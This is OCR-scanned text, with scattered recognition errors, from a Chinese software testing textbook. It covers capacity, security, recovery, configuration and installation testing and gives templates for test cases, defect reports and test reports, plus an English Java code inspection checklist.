脚本 应 该 在 一 台 计算 机 上 运行 (最 好 是 以 单个 用 户 .单个 事务 为 基准 ) ,并 在 多 个 
客户 机 (虚拟 的 或 实际 的 客户 机 ,请 参见 下 面 的 * 需 要 考虑 的 特殊 事项 ") 上 
重复 .] 
开始 标准 : 
[单个 事务 或 单个 用 户 : 在 每 个 事务 所 预期 时 间 范 围 内 成 功 地 完成 测试 脚本 , 没 
E 有 发生 任何 故障 .] 
[多 个 事务 或 多 个 用 户 : 在 可 接受 的 时 间 范 围 内 成 功 地 完成 测试 脚本 ,没有 发 生 
任何 故障 .] 
测试 重点 和 优先 级 


[综合 的 性 能 测试 还 包括 在 服务 器 上 添加 后 台 工 作 量 。 

可 采用 多 种 方法 来 执行 此 操作 ,其 中 包括 : 

直接 将 “事务 强行 分 配 到 ”服务 器 上 ,这 通常 以 “结构 化 语言 "(SQL) 调 用 的 形式 
来 实现 。 

需 考虑 的 特殊 事项 : | 通过 创建 “虚拟 的 ”用户 负 和 载 来 模拟 数 百 上 千 个 客户 机 。 此 负载 可 通过 “远程 终 
端 仿真 (Remote Terminal Emulation) "工具 来 实现 。 此 技术 还 可 用 于 在 网 络 中 加 
载 “ 流 量 ”。 

使 用 多 台 实 际 客户 机 (每 台 客 户 机 都 运行 测试 脚本 ) 在 系统 上 添加 负载 。 

性 能 测试 所 用 的 数据 库 应 该 是 实际 大 小 或 相同 缩放 比例 的 数据 库 。] 


6.7 容量 测试 


[容量 测试 使 测试 对 象 处 理 大 量 的 数据 ,以 确定 是 否 达到 了 将 使 软件 发 生 故 障 的 极限 。 
容量 测试 还 将 确定 测试 对 象 在 给 定时 间 内 能 够 持续 处 理 的 最 大 负载 或 工作 量 。 例 如 ,如 果 
测试 对 象 正在 为 生成 一 份 报表 而 处 理 一 组 数据 库 记 录 ,那么 容量 测试 就 会 使 用 一 个 大 型 的 
测试 数据 库 。 检 验 该 软件 是 否 正常 运行 并 生成 了 正确 的 报表 。] 


[核实 测试 对 象 在 以 下 高 容量 条 件 下 能 否 正常 运行 : 
连接 或 模拟 了 最 大 (实际 或 实际 允许 ) 数 量 的 客户 机 ,所 有 客户 机 在 长 时 间 内 执 


测试 日 标 : 行 相同 的 , 且 情况 (性 能 ) 最 坏 的 业务 功能 。 
已 达到 最 大 的 数据 库 大 小 (实际 的 或 按 比 例 缩 放 的 ) ,而且 同 时 执行 多 个 查询 或 
报表 事务 。] 

测试 范围 : 


[使 用 为 性 能 评测 或 负载 测试 制定 的 测试 。 

应 该 使 用 多 台 客 户 机 来 运行 相同 的 测试 或 互补 的 测试 .以 便 在 长 时 间 内 产生 最 
HR: 繁重 的 事务 量 或 最 差 的 事务 组 合 (请 参见 上 面 的 “强度 测试 ”) 。 

创建 最 大 的 数据 库 大 小 (实际 的 、 按 比例 缩放 的 ,或 填充 了 代表 性 数据 的 数据 
FE) ,并 使 用 多 台 客 户 机 在 长 时 间 内 同时 运行 查询 和 报表 事务 。] 


开始 标准 : 


BR 
[所 计划 的 测试 已 全 部 执行 ,而 且 达 到 或 超出 指定 的 系统 限制 时 没有 出 现任 何 软 


完成 标准 : fete 
测试 重点 和 优先 级 : 
需 考虑 的 特殊 事项 : | [对 于 上 述 的 高 容量 条 件 , 哪 个 时 间 段 是 可 以 接受 的 时 间 ?] 


6.8 安全 性 和 访问 控制 测试 


[安全 性 和 访问 控制 测试 侧重 于 安全 性 的 两 个 关键 方面 : 

应 用 程序 级 别 的 安全 性 ,包括 对 数据 或 业务 功能 的 访问 。 

系统 级 别 的 安全 性 ,包括 对 系统 的 登录 或 远程 访问 。 

应 用 程序 级 别 的 安全 性 可 确保 : 在 预期 的 安全 性 情况 下 ,Actor 只 能 访问 特定 的 功能 或 
用 例 , 或 者 只 能 访问 有 限 的 数据 。 例 如 ,可 能 会 允许 所 有 人 输入 数据 ,创建 新 账户 ,但 只 有 管 
理 员 才 能 删除 这 些 数据 或 账户 。 如 果 具 有 数据 级 别 的 安全 性 ,测试 就 可 确保 “用 户 类 型 一 ” 
能 够 看 到 所 有 客户 消息 (包括 财务 数据 ) ,而 “用 户 二 ”看 见 同一 客户 的 统计 数据 。 

系统 级 别 的 安全 性 可 确保 只 有 有 具备 系统 访问 权限 的 用 户 才能 访问 应 用 程序 ,而 且 只 能 
通过 相应 的 网 关 来 访问 。] 


应 用 程序 级 别 的 安全 性 : [核实 Actor 只 能 访问 其 所 属 用户 类 型 已 被 授权 访问 的 
那些 功能 或 数据 。] 


HARD 系统 级 别 的 安全 性 : [核实 只 有 具备 系统 和 应 用 程序 访问 权限 的 Actor 才能 访问 
系统 和 应 用 程序 。] 
测试 范围 
应 用 程序 级 别 的 安全 性 : [确定 并 列 出 各 用 户 类 型 及 其 被 授权 访问 的 功能 或 
数据 。] 
技术 ， [为 各 用 户 类 型 创建 测试 ,并 通过 创建 各 用 户 类 型 所 特有 的 事务 来 核实 其 权限 。] 
i 修改 用 户 类 型 并 为 相同 的 用 户 重新 运行 测试 。 对 于 每 种 用 户 类 型 ,确保 正确 地 
提供 或 拒绝 了 这 些 附 加 的 功能 或 数据 。 
系统 级 别 的 访问 : [请 参见 以 下 的 “ 需 考虑 的 特殊 事项 ”。] 
开始 标准 : 
完成 标准 [各 种 已 知 的 Actor 类 型 都 可 访问 相应 的 功能 或 数据 ,而 且 所 有 事务 都 按照 预期 
iii 的 方式 运行 ,并 在 先前 的 应 用 程序 功能 测试 中 运行 了 所 有 的 事务 。] 
测试 重点 和 优先 级 : 
DASH am HEM A EAI POEG K 讨论 。 
需 考虑 的 特殊 事项 ， [必须 与 相应 的 网 络 或 系统 管理 员 一 直 对 系统 访问 权 进 行 检 查 和 讨论 。 由 于 此 


测试 可 能 是 网 络 管理 和 系统 管理 的 职能 ,可 能 会 不 需要 执行 此 测试 。] 


6.9 故障 转移 和 恢复 测试 


[故障 转移 和 恢复 测试 可 确保 测试 对 象 能 成 功 完成 转移 ,并 能 从 导致 意外 数据 损失 或 数 
据 完整 性 破坏 的 各 种 硬件 软件 和 网 络 故 障 中 恢复 。 

故障 转移 测试 可 确保 : 对 于 必须 持续 运行 的 系统 ,一 旦 发 生 故 障 , 备 用 系统 就 将 不 失 时 
机 地 “顶替 ”发 生 故 障 的 系统 ,以 避免 丢失 任何 数据 或 事务 。 


恢复 测试 是 一 种 对 抗 性 的 测试 过 程 。 在 这 种 测试 中 ,将 把 应 用 程序 或 系统 置 于 极端 的 
条 件 下 (或 者 是 模拟 的 极端 条 件 下 ) ,以 产生 故障 (例如 设备 输入 输出 (1/O) 故 障 或 无 效 的 数 
据 库 指针 和 关键 字 )。 然 后 调用 恢复 进程 并 监测 和 检查 应 用 程序 和 系统 ,核实 应 用 程序 或 系 
统 和 数据 已 得 到 了 正确 的 恢复 。] 


[确保 恢复 进程 (手工 或 自动 ) 将 数据 库 .应 用 程序 和 系统 正确 地 恢复 到 预期 的 已 
测试 日 标 ， 知 状态 。 测 试 中 将 包括 以 下 各 种 情况 : 
客户 机 断 电 、 服 务 器 断 电 、 通 过 网 络 服务 器 产生 的 通信 中 断 ; 
数据 库 指针 或 关键 字 无 效 .数据库 中 的 数据 元 素 无 效 或 遭 到 破坏 。] 
测试 范围 : 
[应 该 使 用 为 功能 和 业务 周期 测试 创建 的 测试 来 创建 一 系列 的 事务 。 一 旦 达到 
预期 的 测试 起 点 ,就 应 该 分 别 执行 或 模拟 以 下 操作 : 
。 客户 机 断 电 : 关闭 PC 的 电源 。 
。 服务 器 断 电 : 模拟 或 启动 服务 器 的 断 电 过 程 。 
。 通过 网 络 服务 器 产生 的 中 断 : 模拟 或 启动 网 络 的 通信 中 断 ( 实 际 断 开通 信 线 
路 的 连接 或 关闭 网 络 服务 器 或 路 由 器 的 电源 ) 。 
技术 ， 。 一 旦 实现 了 上 述 情况 (或 模拟 情况 ) ,就 应 该 执行 其 他 事务 。 而 且 一 旦 达到 第 
二 个 测试 点 状态 ,就 应 调用 恢复 过 程 。 
。 在 测试 不 完整 的 周期 时 ,所 使 用 的 技术 与 上 述 技术 相同 ,只 不 过 应 异常 终止 或 
提前 终止 数据 库 进程 本 身 。 
。 对 以 下 情况 的 测试 需要 达到 一 个 已 知 的 数据 库 状 态 。 当 破坏 若干 个 数据 库 字 
BE .指针 和 关键 字 时 ,应 该 以 手工 方式 在 数据 库 中 (通过 数据 库 工 具 ) 直 接 进 
行 。 其 他 事务 应 该 通过 使 用 “应 用 程序 功能 测试 "? 和 “业务 周期 测试 "中 的 测试 
来 执行 ,并 且 应 执行 完整 的 周期 。] 
开始 标准 : 
[在 所 有 上 述 情况 中 ,应 用 程序 .数据库 和 系统 应 该 在 恢复 过 程 完 成 时 立即 返回 
完成 标准 : 到 一 个 已 知 的 预期 状态 。 此 状态 包括 仅 限于 已 知 损坏 的 字段 ,指针 或 关键 字 范 
围 内 的 数据 损坏 ,以 及 表明 进程 或 事务 因 中 断 而 未 被 完成 的 报表 。] 
测试 重点 和 优先 级 : 
。 [恢复 测试 会 给 其 他 操作 带 来 许多 的 麻烦 。 断 开 缆 线 连接 的 方法 (模拟 断 电 或 
通信 中 断 ) 可 能 并 不 可 取 或 不 可 行 。 所 以 ,可 能 会 需要 采用 其 他 方法 ,例如 诊 
需 考 虑 的 特殊 事项 ， 断 性 软件 工具 。 
。 需要 系统 (或 计算 机 操作 ) ,数据库 和 网 络 组 中 的 资源 。 
。 这 些 测试 应 该 在 工作 时 间 之 外 或 在 一 台独 立 的 计算 机 上 运行 。] 
6.10 配置 测试 


[配置 测试 核实 测试 对 象 在 不 同 的 软件 和 硬件 配置 中 的 运行 情况 。 在 大 多 数 生产 环境 
中 ,客户 机 工作 站 、 网 络 连接 和 数据 库 服务 器 的 具体 硬件 规格 会 有 所 不 同 。 客 户 机 工作 站 可 
能 会 安装 不 同 的 软件 ,例如 ,应 用 程序 、 驱 动 程序 等 ,而 且 在 任何 时 候 ,都 可 能 运行 许多 不 同 
的 软件 组 合 , 从 而 占用 不 同 的 资源 。] 


测试 目标 : [核实 测试 可 在 所 需 的 硬件 和 软件 配置 中 正常 运行 。] 
测试 范 
。 [使 用 功能 测试 脚本 。 
。 在 测试 过 程 中 或 在 测试 开始 之 前 ,打开 各 种 与 非 测试 对 象 相关 的 软件 (例如 ， 
技术 ， Microsoft 应 用 程序 : Excel 和 Word) ,然后 将 其 关闭 。 
。 执行 所 选 的 事务 ,以 模拟 Actor 与 测试 对 象 软件 和 非 测试 对 象 软件 之 间 的 
XE, 
。 重复 上 述 步骤 ,尽量 减少 客户 机 工作 站 上 的 常规 可 用 内 存 。] 
开始 标准 : 
完成 标准 ， [对 于 测试 对 象 软件 和 非 测试 对 象 软件 的 各 种 组 合 , 所 有 事务 都 成 功 完成 ,没有 
出 现任 何故 障 。] 
测试 重点 和 优先 级 : 
。[ 需 要 、 可 以 使 用 并 可 以 通过 桌面 访问 哪 种 非 测试 对 象 软件 ? 
。 通常 使 用 的 是 哪些 应 用 程序 ? 
需 考虑 的 特殊 事项 : | 。 应 用 程序 正在 运行 什么 数据 ?例如 ,在 Excel 中 打开 的 大 型 电子 表格 ,或 是 在 


Word 中 打开 的 1000 页 文档 。 
作为 此 测试 的 一 部 分 ,应 将 整修 系统 .网 络 服务 器 .数据库 等 都 记录 下 来 。] 


6.11 安装 测试 


[安装 测试 有 两 个 目的 。 第 一 个 目的 是 确保 该 软件 在 正常 情况 和 异常 情况 的 不 同 条 件 
下 ,如 进行 首次 安装 、 升 级 ,完整 的 或 自 定义 的 安装 ,都 能 进行 安装 。 异 常情 况 包 括 磁盘 空间 
不 足 ,缺少 目录 创建 权限 等 。 第 二 个 目的 是 核实 软件 在 安装 后 可 立即 正常 运行 。 这 通常 是 
指 运行 大 量 为 功能 测试 制定 的 测试 。] 


核实 在 以 下 情况 下 ,测试 对 象 可 正确 地 安装 到 各 种 所 需 的 硬件 配置 中 : 
。 首次 安装 。 以 前 从 未 安装 过 二 项 日 名 称 二 的 新 计算 机 。 


ARE: 。 HR. NEER OWL ESRA, 
。 更 新 。 以 前 安装 过 二 Project Name> 的 较 早 版 本 的 计算 机 。 
测试 范围 。 
> [手工 开 发 和 本 或 开发 自动 脚本 ,以 验证 日 标 计算 机 的 状态 。 
ER: 。 启动 或 执行 安装 。 
。 使 用 预先 确定 的 功能 测试 脚本 子 集 来 运行 事务 .] 
TRE, 
完成 标准 ， 二 项 目 名 称 二 事务 成 功 执 行 ,没有 出 现任 何故 际 - 
测试 重点 和 优先 级 : 
aenn, | RIEL A A> Hm 7H wR A > EE 


已 经 成 功 安装 ,而 且 没 有 遗漏 主要 的 软件 构件 ?] 


7 问题 严重 度 描 述 


问题 严重 度 


描 R 响应 时 间 


例如 使 系统 崩溃 程序 员 在 多 长 时 间 内 改正 此 问题 


|| 


8 与 测试 有 关 的 任务 


"制定 测试 计划 
o 确定 测试 需求 .评估 风险 制定 测试 策略 
+ 确定 测试 资源 ,创建 时 间 表 、 生 成 测试 计划 
。 设 计 测试 
o 确定 并 说 明 测试 用 例 
+ 确定 测试 过 程 ,并 建立 测试 过 程 的 结构 
复审 和 评估 测试 覆盖 
。 实 施 测试 
+ 记录 或 通过 编程 创建 测试 脚本 
+ 确定 设计 与 实施 模型 中 的 测试 专用 功能 
o 建立 外 部 数据 集 
。 执行 测试 
执行 测试 过 程 ` 评 估 测 试 的 执行 情况 .评估 测试 用 例 覆 盖 .评估 代码 覆盖 
。 核实 结果 .调查 意外 结果 
© 记录 缺陷 .分 析 缺 陷 
确定 是 否 达 到 了 测试 完成 标准 与 成 功 标准 


测试 用 例 设计 模板 


C.1 国家 标准 GB/T 15542—2008 


用 例 名 称 


用 例 标 识 


APPENDIX C 


附录 C 


测试 追踪 


用 例 说 明 


硬件 配置 


用 例 的 


软件 配置 


初始 化 


测试 配置 


参数 配置 


操作 过 程 


序号 


输入 及 操作 说 明 


期 望 的 测试 结果 


评价 标准 


备注 


前 提 和 约束 


过 程 终止 条 件 


结果 评价 标准 


设计 人 员 


设计 日 期 


C.2 简单 的 功能 测试 用 例 模板 (表格 形式 ) 


标识 码 用 例 名 称 

优先 级 高 /中 / 低 | HH 执行 时 间 估 计 | 分钟 
前 提 条 件 

基本 操作 步骤 

输入 /动作 期 望 的 结果 备注 


示例 : 典型 正常 值 … 


示例 : 边界 值 … 


示例 : 异常 值 … 


C.3 功能 测试 用 例 模 板 ( 文 字形 式 ) 


* ID: (测试 用 例 唯一 标识 名 ) 

用 例 名称 :( 概 括 性 说 明 测 试 的 目的 ,作用 ) 
e 测试 项 : (测试 哪个 功能 或 功能 点 ) 

。 环境 要 求 : 

。 参 考 文档 :( 基 于 哪个 需求 规格 说 明 书 ) 
优先 级 : 高 /中 / 低 

。 父 用 例 : (有 父 用 例 , 填 ID; 没 有 , 填 0) 
输入 数据 或 前 提 : (事先 设置 .数据 示例 ) 
具体 步骤 描述 : (一 步 一 步 地 描述 清楚 ) 


C.4 性 能 测试 用 例 模板 


标识 码 优先 级 高 /中 / 低 执行 时 间 估 计 分 钟 


用 例 名 称 
测试 目的 
环境 要 求 
测试 工具 
前 提 条 件 
负载 模式 和 负载 量 期 望 达到 的 性 能 指标 备注 
10 个 用 户 并 发 操作 
50 个 用 户 并 发 操作 


软件 缺陷 模板 


D.1 国家 标准 GB/T 15542—2008 


APPENDIX D 


附录 DD 


缺陷 ID 项 目 名 称 程序 /文档 名 
发 现 日 期 报告 日 其 报告 人 
问题 | 类 别 | 程序 问题 口 | 文档 问题 口 | 设计 问题 口 | 其 他 问题 口 
性 质 | 级别 | 1 级 2 级 3 级 4 级 5 级 
问题 追踪 
问题 描述 /影响 分 析 
附注 及 其 修改 意见 
D.2 规范 .专业 的 缺陷 模板 
REID | (自动 产生 ) | 缺陷 名 称 
项 目 号 模块 x 
功能 特性 
nae /功能 点 x 
产品 配置 规格 说 明 关联 的 
识别 码 书 文档 号 测试 用 例 
内 部 版 本 号 严重 性 |[ 1 4| 优先 级 |P 司 
报告 者 分 配给 DE 
发 生 频率 
a%~100%) sii =| ee z 
现象 [GR | Tag( 主 题词 ) 
操作 步 双 
期 望 结果 
实际 结果 
附件 : 


说 明 或 分 析 


APPENDIX E 


MY 录 E 


测试 报告 模板 


1 引言 (概述 ) 


1.1 编写 目的 


说 明 这 份 测试 分 析 报 告 的 具体 编写 目的 ,指出 预期 的 阅读 范 
围 。 如 : 

。 通过 对 测试 结果 的 分 析 得 到 对 软件 的 评价 ; 

。 为 纠正 软件 缺陷 提供 依据 ; 

© 使 用 户 对 系统 运行 建立 信心 。 


1.2 背景 


对 被 测试 对 象 进行 简单 介绍 说明, 如 : 

a. 被 测试 软件 系统 的 名 称 ; 

b. 该 软件 的 任务 提出 者 、 开 发 者 .用户 ,指出 测试 环境 与 实际 运 
行 环境 之 间 可 能 存在 的 差异 以 及 这 些 差 异 对 测试 结果 的 影响 。 


13 定义 
列 出 本 文件 中 用 到 的 或 所 涉及 的 专业 术语 .缩写 词 的 定义 。 
1.4 参考 资料 


说 明 软 件 测试 所 需 的 资料 (需求 分 析 , 设 计 规范 等 ), 列 出 要 用 到 
的 参考 资料 ,如 : 

a 本 项 目的 经 核准 的 测试 计划 书 、 测 试 需求 分 析 报 告 ; 

b. 属于 本 项 目 其 他 已 批准 的 文件 ,如 需求 文档 规格 说 明 、 系 统 设 
计 等 文档 ; 

ce 本 文件 中 各 处 引用 的 文件 .资料 ,包括 所 要 用 到 的 软件 开发 、 
测试 标准 。 


2 测试 对 象 和 概要 


包括 测试 项 目 、 测 试 类 型 .测试 阶段 ,测试 方法 、 测 试 时 间 等 。 
用 表格 的 形式 列 出 每 一 项 测试 的 标识 符 及 其 测试 内 容 , 并 指明 实际 进行 的 测试 工作 内 
容 与 测试 计划 中 预先 设计 的 内 容 之 间 的 差别 ,说 明 做 出 这 种 改变 的 原因 。 


3 测试 结果 及 发 现 


3.1 测试 1( 标 识 符 ) 

把 本 项 测试 中 实际 得 到 的 动态 输出 (包括 内 部 生成 数据 输出 结果 同 对 于 动态 输出 的 要 
求 进行 比较 ,陈述 其 中 的 各 项 发 现 。 
3.2 测试 2( 标 识 符 ) 

用 类 似 3. 1 条 的 方式 给 出 第 2 项 及 其 以 后 各 项 测试 内 容 的 测试 结果 和 发 现 。 


4 对 软件 功能 的 结论 


4.1 功能 1( 标 识 符 ) 


4.1.1 能 力 

简 述 该 项 功能 ,说 明 为 满足 此 项 功能 而 设计 的 软件 能 力 以 及 经 过 一 系列 测试 已 证 实 的 
能 力 。 

4.1.2 限制 

说 明 测 试 数据 值 的 范围 (包括 动态 数据 和 静态 数据 ), 列 出 就 这 项 功能 而 言 ,测试 期 间 在 
该 软件 中 查 出 的 缺陷 .局限 性 。 
4.2 功能 2( 标 识 符 ) 

用 类 似 4. 1 的 方式 给 出 第 2 项 及 其 后 各 项 功能 的 测试 结论 。 


5.1 测试 结果 分 析 


列 出 测试 结果 分 析 记录 , 并 按 所 定义 的 模板 产生 Bug 分 布 表 和 Bug 分 布 图 。 从 软件 
测试 中 发 现 的 并 最 终 确 认 的 错误 点 等 级 数量 来 评估 。 如 : 


5.1.1 对 比分 析 
若非 首次 测试 时 ,将 本 次 测试 结果 与 首次 测试 .前 一 次 测试 的 结果 进行 对 比分 析 比 较 。 
5.1.2 测试 评估 


通过 对 测试 结果 的 分 析 提 出 一 个 对 软件 能 力 的 全 面 分 析 , 需 标明 遗留 缺陷 、 局 限 性 和 软 
件 的 约束 限制 等 ,并 提出 改进 建议 。 


5.2 能 力 


陈述 经 测试 证 实 了 的 本 软件 的 能 力 。 如 果 所 进行 的 测试 是 为 了 验证 一 项 或 几 项 特定 性 
能 要 求 的 实现 ,应 提供 这 方面 的 测试 结果 与 要 求 之 间 的 比较 ,并 确定 测试 环境 与 实际 运行 环 
境 之 间 可 能 存在 的 差异 对 能 力 的 测试 所 带 来 的 影响 。 


5.3 缺陷 和 限制 


陈述 经 测试 证 实 的 软件 缺陷 和 限制 ,说 明 每 项 缺陷 和 限制 对 软件 性 能 的 影响 ,并 说 明 全 
部 测 得 的 性 能 缺陷 的 累积 影响 和 总 影响 。 


5.4 建议 


对 每 项 缺陷 提出 改进 建议 ,如 ， 
a. 各 项 修改 可 采用 的 修改 方法 ; 
b. 各 项 修改 的 紧迫 程度 ; 

c 各 项 修改 预计 的 工作 量 ; 

d. 各 项 修改 的 负责 人 。 


5.5 评价 
说 明 该 项 软件 的 开发 是 否 已 达到 预定 目标 ,能 否 交付 使 用 。 
6 测试 资源 消耗 


总 结 测试 工作 的 资源 消耗 数据 ,如 工作 人 员 的 水 平 级 别 数量 、 机 时 消耗 等 。 


APPENDIX F 


Java Code Inspection 
Checklist 


1. Variable and Constant Declaration Defects (VC) 


1, Are descriptive variable and constant names used in accord 
with naming conventions? 
Are there variables with confusingly similar names? 
Is every variable properly initialized? 
Could any non-local variables be made local? 
Are there literal constants that should be named constants? 
Are there macros that should be constants? 


Are there variables that should be constants? 
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Function Definition Defects (FD) 


8. Are descriptive function names used in accord with naming 
conventions? 

9. Is every function parameter value checked before being used? 

10. For every function; Does it return the correct value at every 
function return point? 

3. Class Definition Defects (CD) 

11. Does each class have an appropriate constructor and 
destructor? 

12. For each member of every class: Could access to the 
member be further restricted? 

13. Do any derived classes have common members that should 
be in the base class? 

14. Can the class inheritance hierarchy be simplified? 


4. Computation/Numeric Defects (CN) 


15. Is overflow or underflow possible during a computation? 


16. For each expressions with more than one operator; Are the 


附录 下 


assumptions about order of evaluation and precedence correct? 


17, Are parentheses used to avoid ambiguity? 
5. Comparison/Relational Defects (CR) 


18. Are the comparison operators correct? 
19. Is each boolean expression correct? 


20. Are there improper and unnoticed side-effects of a comparison? 
6. Control Flow Defects (CF) 


21. For each loop: Is the best choice of looping constructs used? 

22. Will all loops terminate? 

23. When there are multiple exits from a loop, is each exit necessary and handled 
properly? 
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24. Does each switch statement have a default case? 

25. Are missing switch case break statements correct and marked with a comment? 

26. Is the nesting of loops and branches too deep, and is it correct? 

27. Can any nested if statements be converted into a switch statement? 

28. Are null bodied control structures correct and marked with braces or comments? 

29. Does every function terminate? 

30. Are goto statements avoided? 

7. Input-Output Defects (10) 

31. Have all files been opened before use? 

32. Are the attributes of the open statement consistent with the use of the file? 

33. Have all files been closed after use? 

34. Is buffered data flushed? 

35. Are there spelling or grammatical errors in any text printed or displayed? 

36. Are error conditions checked? 


8. Module Interface Defects (MID 


37. Are the number, order. types, and values of parameters in every function call in 
agreement with the called function’s declaration? 


38. Do the values in units agree (e. g. , inches versus yards)? 
9. Comment Defects (CM) 


39. Does every function, class. and file have an appropriate header comment? 

40. Does every variable or constant declaration have a comment? 

41. Is the underlying behavior of each function and class expressed in plain language? 

42. Is the header comment for each function and class consistent with the behavior of 
the function or class? 


43. Do the comments and code agree? 


44, Do the comments help in understanding the code? 
45. Are there enough comments in the code? 


46. Are there too many comments in the code? 
10. Packaging Defects (LP) 


47, For each file; Does it contain only one class? 

48. For each function: Is it no more than about 60 lines long? 

49, For each class: Is no more than 2000 lines long (Sun Coding Standard) ? 
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11. Modularity Defects (MO) 


50. Is there a low level of coupling between packages (classes)? 

51. Is there a high level of cohesion within each package? 

52. Is there duplicate code that could be replaced by a call to a function that provides 
the behavior of the duplicate code? 


53. Are framework classes used where and when appropriate? 
12. Performance Defects (PE) [Optional] 


54. Can better data structures or more efficient algorithms be used? 

55. Are logical tests arranged such that the often successful and inexpensive tests 
precede the more expensive and less frequently successful tests? 

56. Can the cost of recomputing a value be reduced by computing it once and storing 
the results? 

57. Is every result that is computed and stored actually used? 

58. Can a computation be moved outside a loop? 

59. Are there tests within a loop that do not need to be done? 

60. Can a short loop be unrolled? 


61. Are there two loops operating on the same data that can be combined into one? 
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